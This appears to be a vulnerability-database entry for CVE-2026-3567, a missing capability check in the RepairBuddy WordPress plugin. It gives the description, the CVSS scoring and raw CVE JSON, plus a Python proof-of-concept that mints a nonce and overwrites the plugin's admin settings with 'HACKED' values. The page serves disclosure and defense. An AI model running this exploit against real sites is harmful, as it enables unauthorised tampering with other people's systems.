Security Vulnerability Report
中文
CVE-2026-3567 CVSS 5.3 MEDIUM

CVE-2026-3567

Published: 2026-03-21 00:16:29
Last Modified: 2026-04-22 21:32:08

Description

The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 4.1132. The plugin exposes two AJAX handlers that, when combined, allow any authenticated user to modify admin-level plugin settings. First, the wc_rb_get_fresh_nonce() function (registered via wp_ajax and wp_ajax_nopriv hooks) allows any user to generate a valid WordPress nonce for any arbitrary action name by simply providing the nonce_name parameter, with no capability checks. Second, the wc_rep_shop_settings_submission() function only verifies the nonce (wcrb_main_setting_nonce) but performs no current_user_can() capability check before updating 15+ plugin options via update_option(). This makes it possible for authenticated attackers, with subscriber-level access and above, to modify all plugin configuration settings including business name, email, logo, menu label, GDPR settings, and more by first minting a valid nonce via the wc_rb_get_fresh_nonce endpoint and then calling the settings submission handler.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RepairBuddy <= 4.1132

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "https://example.com" # Attacker needs a valid session cookie (e.g., subscriber level) cookies = { "wordpress_logged_in_xxx": "your_cookie_value_here" } # Step 1: Generate a valid nonce for the settings update action # The vulnerable function allows generating nonces for any action nonce_payload = { "action": "wc_rb_get_fresh_nonce", "nonce_name": "wcrb_main_setting_nonce" } try: response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=nonce_payload, cookies=cookies) nonce_data = response.json() valid_nonce = nonce_data.get('nonce') print(f"[+] Generated Nonce: {valid_nonce}") # Step 2: Use the nonce to update admin settings # The vulnerable function checks the nonce but not user capabilities settings_payload = { "action": "wc_rep_shop_settings_submission", "wcrb_main_setting_nonce": valid_nonce, "business_name": "HACKED BY CVE-2026-3567", "business_email": "[email protected]", "menu_label": "Pwned" # Additional options can be modified here } exploit_resp = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=settings_payload, cookies=cookies) print(f"[+] Exploit response status: {exploit_resp.status_code}") print(f"[+] Response body: {exploit_resp.text}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3567", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:28.567", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 4.1132. The plugin exposes two AJAX handlers that, when combined, allow any authenticated user to modify admin-level plugin settings. First, the wc_rb_get_fresh_nonce() function (registered via wp_ajax and wp_ajax_nopriv hooks) allows any user to generate a valid WordPress nonce for any arbitrary action name by simply providing the nonce_name parameter, with no capability checks. Second, the wc_rep_shop_settings_submission() function only verifies the nonce (wcrb_main_setting_nonce) but performs no current_user_can() capability check before updating 15+ plugin options via update_option(). This makes it possible for authenticated attackers, with subscriber-level access and above, to modify all plugin configuration settings including business name, email, logo, menu label, GDPR settings, and more by first minting a valid nonce via the wc_rb_get_fresh_nonce endpoint and then calling the settings submission handler."}, {"lang": "es", "value": "El plugin RepairBuddy – Repair Shop CRM &amp; Booking para WordPress es vulnerable a acceso no autorizado en todas las versiones hasta, e incluyendo, la 4.1132. El plugin expone dos gestores AJAX que, cuando se combinan, permiten a cualquier usuario autenticado modificar la configuración del plugin a nivel de administrador. Primero, la función wc_rb_get_fresh_nonce() (registrada a través de los hooks wp_ajax y wp_ajax_nopriv) permite a cualquier usuario generar un nonce válido de WordPress para cualquier nombre de acción arbitrario simplemente proporcionando el parámetro nonce_name, sin comprobaciones de capacidad. Segundo, la función wc_rep_shop_settings_submission() solo verifica el nonce (wcrb_main_setting_nonce) pero no realiza ninguna comprobación de capacidad current_user_can() antes de actualizar más de 15 opciones del plugin a través de update_option(). Esto hace posible que atacantes autenticados, con acceso de nivel de suscriptor y superior, modifiquen todas las configuraciones del plugin, incluyendo el nombre de la empresa, correo electrónico, logotipo, etiqueta del menú, configuraciones de GDPR y más, primero generando un nonce válido a través del endpoint wc_rb_get_fresh_nonce y luego llamando al gestor de envío de configuraciones."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/tags/4.1121/lib/includes/main_page.php#L1080", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/tags/4.1121/lib/shortcodes/book_my_service.php#L1142", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/trunk/lib/includes/main_page.php#L1080", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/trunk/lib/shortcodes/book_my_service.php#L1142", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3477889%40computer-repair-shop&new=3477889%40computer-repair-shop&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bb4b3778-7211-4a56-a2e5-1f455f356dd5?source=cve", "source": "[email protected]"}]}}